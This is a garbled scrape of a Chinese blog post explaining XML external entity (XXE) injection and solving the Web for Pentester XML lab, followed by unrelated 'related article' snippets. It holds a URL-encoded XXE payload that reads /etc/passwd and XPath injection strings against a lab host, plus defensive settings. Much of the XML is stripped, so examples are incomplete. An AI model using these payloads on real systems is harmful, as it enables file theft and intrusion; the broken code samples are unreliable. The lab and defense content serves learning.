php %3c%3c%3cxml 报错,Web for Pentester XXE解析
基础
XML基础
XML(Extensible Markup Language)用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19<?xml version="1.0" encoding="UTF-8"?>
]>
Georger
John
Reminder
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
内部声明DTD
元素声明]>
引用外部DTD
或者
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
内部声明实体
引用外部实体
或者
XML外部实体注入(XML eXternal Entity, XXE)
当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
引入外部实体方式有多种,比如:
恶意引入外部XML实体的几种方式
1 本地引入1
2
3
4
5<?xml version="1.0"?>
]>
&b;
2 远程引入
注入示例
1
2
3
4
5
6<?xml version="1.0"?>
%d;
]>
&b;
恶意DTD文件(evil.dtd)的内容
1
3 另一种远程引入
注入示例
1
2
3<?xml version="1.0"?>
&b;
恶意DTD文件(evil.dtd)的内容
1
几种恶意利用
1 回显特殊文件 /etc/passwd
2 服务器将文件发送到攻击者控制的C&C服务器
3 执行系统命令
4 探测内网端口
5 攻击内网网站
后记
参考资料1中有TSRC的XXE案例
防御XXE
方案一、使用开发语言提供的禁用外部实体的方法
方案二、过滤用户提交的XML数据
方案一
使用开发语言提供的禁用外部实体的方法
1
2
3
4
5
6
7
8
9
10PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案二
过滤用户提交的XML数据
1关键词:!ENTITY,或者,SYSTEM和PUBLIC。
题目解答
Example 1
加单引号报错观察错误信息,发现使用了 simplexml_load_string 函数。
构造payload (注意对payload进行URL全编码)
1
2
3]>&b;
]>&b;
http://192.168.56.101/xml/example1.php?xml=%3c%21%44%4f%43%54%59%50%45%20%61%5b%3c%21%45%4e%54%49%54%59%20%62%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%65%74%63%2f%70%61%73%73%77%64%22%3e%5d%3e%3c%63%3e%26%62%3b%3c%2f%63%3e%0a
Example 2
加单引号报错观察错误信息,发现使用了 SimpleXMLElement::xpath() 函数。
两组 payload
类似 SQLi 的第一组
1
2name=hacker'or'1'='1
http://192.168.56.101/xml/example2.php?name=name=hacker%27or%271%27=%271
第二组,使用获取子节点的一些语句
1
2name='or1=1]/parent::*/child::node()%00
http://192.168.56.101/xml/example2.php?name=name=%27or1=1]/parent::*/child::node()%00
参考资料
参考资料1 提及的参考资料
php %3c%3c%3cxml 报错,Web for Pentester XXE解析相关推荐
- **Maven web项目报错**-web.xml is missing and <failOnMissingWebXml> is set to true 原因:生成的maven web项目webap
Maven web项目报错-web.xml is missing and is set to true 原因:生成的maven web项目webapp下缺少web.xml 解决方法:选择项目名-右击, ...
- 达梦数据库,dimp导入报错:该工具不能解析此文件,请使用更高版本的工具
经常有朋友反馈达梦数据库,dimp导入报错:该工具不能解析此文件,请使用更高版本的工具 这种问题一般有两种情况: 1.用oracle等异构数据库导出的dmp文件来进行导入,这个是不支持的,建议用数据迁 ...
- 生成open3d项目报错:error LNK2001: 无法解析的外部符号 __imp_glViewport
这里写自定义目录标题 生成open3d项目报错:error LNK2001: 无法解析的外部符号 __imp_glViewport 问题 解决方法 生成open3d项目报错:error LNK2001 ...
- php %3c%3c%3cxml 报错,代码审计| APPCMS SQL-XSS-CSRF-SHELL
0x01 背景 由若水师傅提供的一个素材,想要复现CNVD上披露的一个APPCMS的漏洞,由CNVD上的描述可以知道存在漏洞的地方是comment.php这个文件,然后就没有详细的漏洞信息了,所以就需 ...
- php %3c%3c%3cxml 报错,ThinkPHP5框架缺陷导致远程命令执行(POC整合帖)
摘要 近日thinkphp团队发布了版本更新https://blog.thinkphp.cn/869075 ,其中修复了一处getshell漏洞. 影响范围 5.x < 5.1.31 <= ...
- kali linux重启网络服务报错,Web安全学习笔记之在Kali Linux上安装Openvas以及启动失败修复...
现在用的kali linux是2018.1的版本,在安装openvas的时候报错,无法通过网络下载和安装openvas. 主要错误是源配置错误,可能现在用的kali很久没更新了. 一.解决和配置更新源 ...
- wxml报错原因_C#生成、解析xml文件以及处理报错原因
转载自:http://blog.csdn.net/lilinoscar/article/details/21027319 简单的介绍一下生成XML文件以及解析,因为有些数据不一定放到数据库,减少链接数 ...
- IDEA报错Web server failed to start. Port 8080 was already in use的解决方法
打开cmd 输入 netstat -ano | findstr "8080" 查看端口占用情况 发现PID是8816的程序在占用, 此时打开任务管理器 找到PID为上面8816的程 ...
- 报错,贴图整理(1)
这里是getElementByTagName("div")=============单复数的问题,给element加上s就可以了,仅仅是一个"s"的问题,把s加 ...
最新文章
- BZOJ 1433 Luogu P2055 [ZJOI2009]假期的宿舍 匈牙利算法
- ios 监听一个控制器的属性_OC观察者模式之KVO的使用与思考
- 解题报告——例题 5-6团体队列(Team Queue UVa 540)——31行代码解决
- string.empty , , null 以及性能的比较
- CentOS7安装VirtualBox后系统起不来了:版本和vbox兼容很重要吧,不然VirtualBox起不来。
- AttributeError: 'module' object has no attribute 'main'
- geotools绘制椭圆API
- 如果您能天天读上一遍,就能和老外对话了!
- windows 7 动态分区转基本分区绿色工具(Conver to basic disk)
- 回顾过去三年工作中对区块链技术的一点心得
- Java程序员月薪20k的涨薪秘籍,系列教学
- 名词性从句——专升本语法
- 计算跑步时的热量消耗
- 人的一生,到底在追求什么呢?
- Winsock Fix for Windows 7
- FINVASIA集团宣布收购ActTrader
- 华科教授因学生住宿问题投诉后勤处:被学校处分,取消两年评优资格
- C-class Week1.Day2
- 学习型组织和自我优化型组织
- [统计学笔记](五)统计量及其抽样分布
热门文章
- foreach循环符合就不往下走了_游泳池循环方式及循环周期
- C++之explicit探究
- Oracle中给表添加主键 外键,给表中添加主键、外键
- C语言丨小 学 数 学(一):高精度加法
- C++安全方向(三)3.3 openssl的MD5接口调用演示
- python实现链表的删除_干货||链表的技巧和算法总结
- linux开启多少到多少端口命令,Linux端口命令
- python作用域排序_11道Python常见面试题,80%的人不会
- 深入浅出mysql gtid_Mysql 5.7 Gtid内部学习(九) 实际案例(一)
- HTTP MIME Types